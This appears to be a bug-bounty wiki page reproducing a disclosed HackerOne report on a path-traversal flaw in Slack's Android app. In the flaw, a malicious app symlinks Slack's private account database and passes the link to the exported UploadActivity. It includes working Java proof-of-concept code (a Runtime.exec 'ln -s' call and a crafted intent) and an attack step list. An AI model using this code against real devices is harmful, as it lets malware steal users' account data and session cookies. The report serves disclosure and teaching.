Skip to content
Path traversal Disclosed report Intermediate

Private application files can be uploaded to Slack via malicious uploader

The exported UploadActivity in the Slack Android app accepts a file URI and attempts to block access to private app files by checking if the path contains 'com.Slack'. A malicious app can create a symbolic link to a private Slack file and pass that link's URI, bypassing the check and causing Slack to upload the private file.

shell_c0de Follow

Originally disclosed on HackerOne

Bounty$500 Medium View original
  • Triaged in 2 days
  • Fixed in 13 months
  • Paid in 13 months
  • Disclosed after 3.1 years

Hi. I have found an issue which allows to retrieve any files from /data/data/com.Slack/* directory. The problem is in exported activity com.Slack.ui.UploadActivity which accepts a URI to download files. I see that you've added verification

Java
private static boolean isPrivateFile(Uri uri) {
        return uri.getPathSegments().contains("com.Slack");
    }

You can bypass the verification using symlink files. Malicious code:

Java
 StrictMode.VmPolicy.Builder builder = new StrictMode.VmPolicy.Builder();
    StrictMode.setVmPolicy(builder.build());
    new File("/data/data/com.example.route.readfileapk/").setReadable(true,false);
    new File("/data/data/com.example.route.readfileapk/").setWritable(true,false);
    new File("/data/data/com.example.route.readfileapk/").setExecutable(true,false);
   
       try {
            Runtime.getRuntime().exec("ln -s /data/data/com.Slack/databases/account_manager /data/data/com.example.route.readfileapk/account_manager").waitFor();
        }
        catch(Exception e) {
            e.printStackTrace();
            finish();
            return;
        }
        new File("/data/data/com.example.route.readfileapk/account_manager").setReadable(true,false);
        Intent intent = new Intent("android.intent.action.SEND");
        intent.setClassName("com.Slack", "com.Slack.ui.UploadActivity");
        intent.setType("*/*");
        intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
        intent.putExtra("android.intent.extra.STREAM", Uri.parse("file:///data/data/com.example.route.readfileapk/account_manager"));
        startActivity(intent);

Malware creates a link to your file /data/data/com.Slack/databases/account_manager (where com.example.route.readfileapk is package name of the malware), grants read/execute permission to any user (I mean Linux users), and starts your activity with the new URI.

Impact

This vulnerability can get a complete account, malware can access everything, including cookies, history and e-mail.

Attachments

JhxHDcibKVI.jpg
JhxHDcibKVI.jpg From the original on HackerOne
2451RVhK2S8.jpg
2451RVhK2S8.jpg
PQzofS_icd4.jpg
PQzofS_icd4.jpg
DSxS8FlOR7M.jpg
DSxS8FlOR7M.jpg

The original report as published on HackerOne, by shell_c0de. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

A malicious app could retrieve any private file from Slack's data directory, potentially leading to complete account takeover.

What the attacker needed

Malicious app installed on the same device; Slack app installed

How it was found

  1. Create a symbolic link in the malicious app's directory pointing to a private Slack file.
  2. Make the link readable by other users.
  3. Send an intent to Slack's UploadActivity with the link's URI as the stream extra.
  4. Slack's UploadActivity processes the linked private file.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Android apps store private data in a folder that other apps normally cannot read. This report shows that Slack's upload screen could be tricked into reading a private file by using a shortcut (a symbolic link) that points to it, because the safety check only looked at the shortcut's name, not the real file.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by shell_c0de

View all

5 more disclosed reports, best first.

More from Slack

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.